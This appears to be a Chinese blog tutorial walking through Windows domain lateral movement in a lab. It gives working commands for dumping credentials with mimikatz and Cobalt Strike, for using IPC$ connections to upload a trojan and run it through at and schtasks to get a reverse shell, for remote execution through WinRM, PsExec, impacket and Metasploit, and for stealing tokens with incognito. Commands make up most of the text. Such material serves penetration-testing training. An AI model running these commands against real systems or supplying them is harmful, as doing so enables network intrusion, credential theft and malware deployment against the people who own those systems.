• 内网横向移动


    内网横向移动

    当攻击者在拿下一台内网主机后,通常会利用当前拿下的机器当作跳板,进一步攻击 内网其他主机,扩大攻击影响范围。

    攻击机:Kali Linux   

    靶机:        Windows server 2008            WEB 10.10.10.20\192.168.XX.XX(跳板机)  

                       Windows server 2012            DC    10.10.10.10\192.168.XX.XX       

    获得WEB shell后,获取所有账号密码

    load kiwi  #mimikatz

    getsystem 提升权限

    creds_all  获取所有帐户密码

    #将目标主机账号密码复制下来备用

    IPC$简介

    IPC$ (Internet Process Connection) 是共享"命名管道"的资源,它是为了让进程间 通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的 通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。

    利用 IPC$ ,连接者与目标主机利用建立的连接可以得到目标主机上的目录结构、用 户列表等信息。

    使用条件

    1.开放了 139 、 445 端口;

    IPC$ 连接可以实现远程登陆及对默认共享的访问,而 139 端口的开启表示 netbios 协议的应用。

    我们可以通过 139 和 445 端口来实现对共享文件/打印机的访问,因此一般来讲, IPC$ 连接是需要 139 或 445 端口来支持的。

    IPC$ 连接默认会走 445 端口,不通的话则会走 139 端口,这两个端口都可以单独实 现文件共享

    2.目标开启 IPC$ 文件共享服务及默认共享

    默认共享是为了方便管理员远程管理而默认开启的共享。

    所有逻辑磁盘( c$、d$、e$ ...)和系统目录 WINNT 或 WINDOWS(ADMIN$) ,通过 IPC连接可以实现对这些默认共享的访问

    net share

    3.需要目标机器的管理员账号和密码

    默认情况下只有被添加到远程计算机管理员组的域用户(域管用户)有权限对 admin$ 目录建立 IPC 连接

    本地的 Administrator 用户也可以,但是默认情况下该用户是被禁用的,如果启用了该用户,那么也可以使用 Administrator 用户远程连接

    常用命令

    1. 连接

    net use \\10.10.10.10\ipc$ /user:web\administrator "admin@123"     

    2. 查看连接情况

    net use

    3. 查看目标主机时间

    net time \\10.10.10.10

    4. 删除连接

    net use \\10.10.10.10\ipc$ /del

    net use * /del /y    #删除所有连接

    5. 文件上传下载

    copy shell.exe \\10.10.10.10\c$\windows\temp\xxx.exe  

    copy \\10.10.10.10\c$\xxx.exe c:\     #从目标机器下载到本地

    6. 查看目标主机文件

    dir \\10.10.10.10\c$

    7. 开放/关闭 ipc$ 共享

    net share ipc$

    net share ipc$ /del

    8. 共享计算机 C 盘

    net share C=c:\

    9. 映射共享磁盘到本地

    net use z: \\10.10.10.10\c$ /user:administrator "xxxxxxxxx"

    10. 查看/删除共享的资源

    net share

    net share C /del

    11. 取消IPC远程连接

    net use c: /del

    net use * /del /y

    #建议手打命令

    IPC$连接失败常见错误号

    错误号 5,拒绝访问    【很可能你使用的用户不是管理员权 限,先提升权限】

    错误号 51,Windows 无法找到网络路径     【网络有问题】

    错误号 53,找不到网络路径   【ip 地址错误;目标未开机;目标 lanmanserver 服务未启动;目标有防火墙(端口过滤)】

    错误号 67,找不到网络名      【你的 lanmanworkstation服务未启动;目标删除了 ipc$;】

    错误号 1219,提供的凭据与已存在的凭据集冲突     【你已经和对方建立了一个 ipc$,请删除后再连】

    错误号 1326,未知的用户名或错误密码             【用户名或密码错误】

    错误号 1385,登录失败:未授予用户在此计算机上的请求登录类型

    错误号 1792,试图登录,但是网络登录服务没有启动     【目标NetLogon服务未 启动[连接域控会出现此情况]】

    错误号 2242,此用户的密码已经过期        【目标有帐号策略,强 制定期要求更改密码】

    IPC+AT+Schtasks

    AT简介

    AT命令可在指定时间和日期、在指定计算机上运行命令和程序

    #Windows2012以下系统可使用at命令

    net use \\10.10.10.10\C$ /user:starry\administrator "admin@123"    

    copy c:\\dc.exe \\10.10.10.10\c$\windows\temp\6888.exe       #下载木马

    查看远程主机时间:net time \\10.10.10.10

    AT命令添加任务:at \\10.10.10.10 10:10 c:\6888.exe

    AT命令删除任务:at \\10.10.10.10 1 /delete

    AT命令查看任务:at \\10.10.10.10   #查看at任务列表,已经执行了的,不会显示

    Schtasks简介

    由于 AT 在 windows server 2012 等新版系统中已被弃用,所以需要使用 schtasks 命令代替

    允许管理员创建、删除、查询、更改、运行和中止本地或远程系统上的计划任务

    请参考:Windows使用SCHTASKS 命令执行定时任务_刘李404not found的博客-CSDN博客

    创建任务

    schtasks /create /tn task /U 域\域用户 /P 域用户密码 /tr 命令 /sc ONSTART /s 域机器ip /RU system

    运行任务

    schtasks /run /tn task /s 192.168.10.2 /U 域/域用户 /P 域用户密码

    删除任务

    schtasks /F /delete /tn task /s 域机器ip /U 域\域用户 /p 域用户密 码

    schtasks /create        创建新的计划任务。        

                   /sc schedule       指定计划类型。有效值为 MINUTE、HOURLY、 DAILY、WEEKLY、MONTHLY、ONCE、ONSTART、ONLOGON、ONIDLE。        

                   /mo modifier       指定任务在其计划类型内的运行频率。这个参数 对于 MONTHLY 计划是必需的。                            

    对于 MINUTE、HOURLY、DAILY 或 WEEKLY 计划,这个参数有效,但也可选。默认值为 1。         /tr       指定任务运行的程序或命令。如果忽略该路径, SchTasks.exe 将假定文件在 Systemroot\System32 目录下。        

                   /tn      指定任务的名称。

    建立IPC连接

    net use \\10.10.10.10\ipc$ "admin@123" /user:administrator      #连接DC主机

    上传木马

    dir \\10.10.10.10\c$

    copy c:\6888.exe \\10.10.10.10\c$

    远程主机创建定时任务

    schtasks /create /s 10.10.10.10 /u "dc\administrator" /p "admin@123" /sc MINUTE /mo 1 /tn task /tr "c:\\6888.exe"      #复制命令可能报错!建议手打命令

    一分钟后,反弹shell

    查看远程主机创建的定时任务

    chcp 65001   #不更改代码页编码,直接查看可能会报错

    schtasks /query /s 10.10.10.10 /tn task    #查看定时任务 

    Schtasks运行远程主机上的计划任务

    schtasks /run /s 10.10.10.10 /u administrator /p "admin@123" /tn task

    Schtasks删除远程主机上的计划任务

    schtasks /delete /tn task /s 10.10.10.10 /u dc\administrator /p admin@123

    WinRM

    WinRM 指的是Windows远程管理服务,通过远程连接winRM模块可以操作 windows命令行,默认监听端口5985(HTTP)和5986 (HTTPS),在2012及以后默认开启

    开启WinRM

    判断本机是否开启WinRM服务

    winrm enumerate winrm/config/listener

    查看远程主机是否开启WinRM服务:

    serverscan.exe -h 10.10.10.10 -p 5985,5986

    nmap  -A sV 192.168.1.6 -p 5985,5986

    命令开启WinRM服务

    winrm quickconfig

    允许远程主机访问及访问远程主机

    WinRM只允许当前域用户或者处于本机TrustedHosts列表中的远程主机进行访问

    winrm set winrm/config/client @{TrustedHosts="*"}   #允许所有主机访问

    Winrs执行命令

    winrs -r:http://10.10.10.10:5985 -u:administrator -p:admin@123 ipconfig     #建议手打命令

    winrs -r:http://10.10.10.10:5985 -u:administrator -p:admin@123 "cmd.exe"

    WinRM横向移动

    利用winrm参数选项中的invoke参数,来对目标对象执行特定的方法。

    winrm invoke create wmicimv2/win32_process @{Commandline="calc.exe"}

    命令调用了Windows WMI中Win32_process类的Create方法,生成了一个 calc.exe的新进程

    在远程机器上打开进程

    winrm invoke create wmicimv2/win32_process @{Commandline="calc.exe"} -r:http://10.10.10.10:5985 - u:administrator -p:admin@123

    在远程机器上创建服务

    winrm invoke Create wmicimv2/Win32_Service @{Name="task";DisplayName="test";PathName="cmd.exe /k c:\6888.exe"} -r:http://10.10.10.10:5985 -u:administrator - p:admin@123

    在远程机器上启动服务

    winrm invoke StartService wmicimv2/Win32_Service?Name=task -r:http://10.10.10.10:5985 -u:administrator -p:admin@123

    MSF启动侦听,反弹shell

    横向移动-外部工具

    Psexec

    PsExec是一种轻巧的telnet替代品,可让您在其他系统上执行进程,并为控制台应用 程序提供完整的交互性,而无需手动安装客户端软件。

    Psexec原理

    1. ipc$ 连接,释放 Psexesvc.exe

    2. 通过服务管理 OpenSCManager 打开受害者机器上服务控制管理器的句柄

    3. 通过 CreateService 创建服务

    4. 获取服务句柄 OpenService 使用 StartService 启动服务

    Psexec使用前提

    1. 对方主机开启了 admin$ 共享,如果关闭了 admin$ 共享,会提示:找不到网络名

    2. 对方未开启防火墙

    3. 如果是工作组环境,则必须使用 administrator 用户连接(因为要在目标主机 上面创建并启动服务),使用其他账号(包括管理员组中的非administrator用户) 登录都会提示访问拒绝访问。

    4. 如果是域环境,即可用普通域用户连接也可以用域管理员用户连接。连接普通域 主机可以用普通域用户,连接域控只能用域管理员账户。

    PsExec.exe使用

    微软官方工具包

    PsExec - Sysinternals | Microsoft Learn

    IPC连接

    net use \\10.10.10.10\ipc$ /user:administrator "admin@123"

    建立IPC连接,无需输入密码

    反弹cmd:

    PsExec64.exe \\10.10.10.10 -s cmd.exe -accepteula 

    无法启动服务,执行命令没有回显,但是可以运行木马上线。

    在WEB主机上可以运行命令

     Psexec.py

    impacket 套件中的 Psexec 与官方 psexec.exe 相比会自动删除服务,增加隐蔽性.

    下载地址:

    https://github.com/SecureAuthCorp/impacket

    psexec.py starry/administrator:admin@123@10.10.10.10

    Psexec.exe

    目标机器没有python环境,所以把 .py文件打包成 .exe文件 

    下载地址:

    https://github.com/maaaaz/impacket-examples-windows

    psexec.exe starry/administrator:admin@123@10.10.10.10 whoami

    Metasploit

    Psexec

    use exploit/windows/smb/psexec

    set RHOSTS 10.10.10.10

    set SMBDomain starry

    set smbuser administrator

    set smbpass admin@123

    exploit

    Token窃取

    Windows有两种类型的Token:

    Delegation token(授权令牌):用于交互会话登录(例如本地用户直接登录、远程 桌面登录) Impersonation token(模拟令牌):用于非交互登录(利用net use访问共享文件夹)

    两种token只在系统重启后清除

    具有Delegation token的用户在注销后,该Token将变成Impersonation token,依旧有效

    Metasploit

    在Metasploit中,可使用incognito实现token窃取,Metasploit中的 incognito,是从windows平台下的incognito移植过来的

    # 加载incognito模块

    load incognito

    # 列举token

    list_tokens -u

    # 查看当前token

    getuid

    # 提示至system权限

    getsystem

    # token窃取

    impersonate_token "NT AUTHORITY\\SYSTEM"

    # 从进程窃取token

    steal_token 1208

    # 返回之前token

    rev2self  |   drop_token

    Cobaltstrike

    跳板机:Windows 7 旗舰版

    内网机器:Windows server2008、Windows server 2012

    跳板机提升权限

    利用ms14-058漏洞

    凭证获取

    hashdump           #获取hash

    logonpasswords  #获取明文密码

    扫描存活主机

    PortScan扫描存活主机    #没有扫描结果

    Net View  网络视图 

    结果如下:

    Psexec 

    由于DC不出网,需要添加正向监听

    选择Beacon SMB,点击保存

    选择DC右击,选择psexec

    Domain:域名

    Listener:选择刚才生成的Beacon SMB

    session:选择web主机

    点击Launch

    ##前提是知道目标主机密码!!!

    上线成功

    ...

  • 相关阅读:
    kettle应用-从数据库抽取数据到excel
    博客系统(升级(Spring))(一)创建数据库,创建实例化对象,统一数据格式,统一报错信息
    jQuery学习:事件处理(绑定事件 解绑事件 事件委派/委托))
    以MixtralForCausalLM为例,演示如何不依赖框架实现pipeline并行
    【论文辅导】新手如何从零开始发表CV论文,有三AI一对一辅导计划出炉!
    leetcode-62.不同路径
    .net 6 api 修改URL为小写
    核密度分析
    ESP32 Arduino实战协议篇-BLE 客户端实现温度和湿度数据传输
    Schillace 定律 背后的 Sam Schillace
  • 原文地址:https://blog.csdn.net/weixin_51151498/article/details/132613522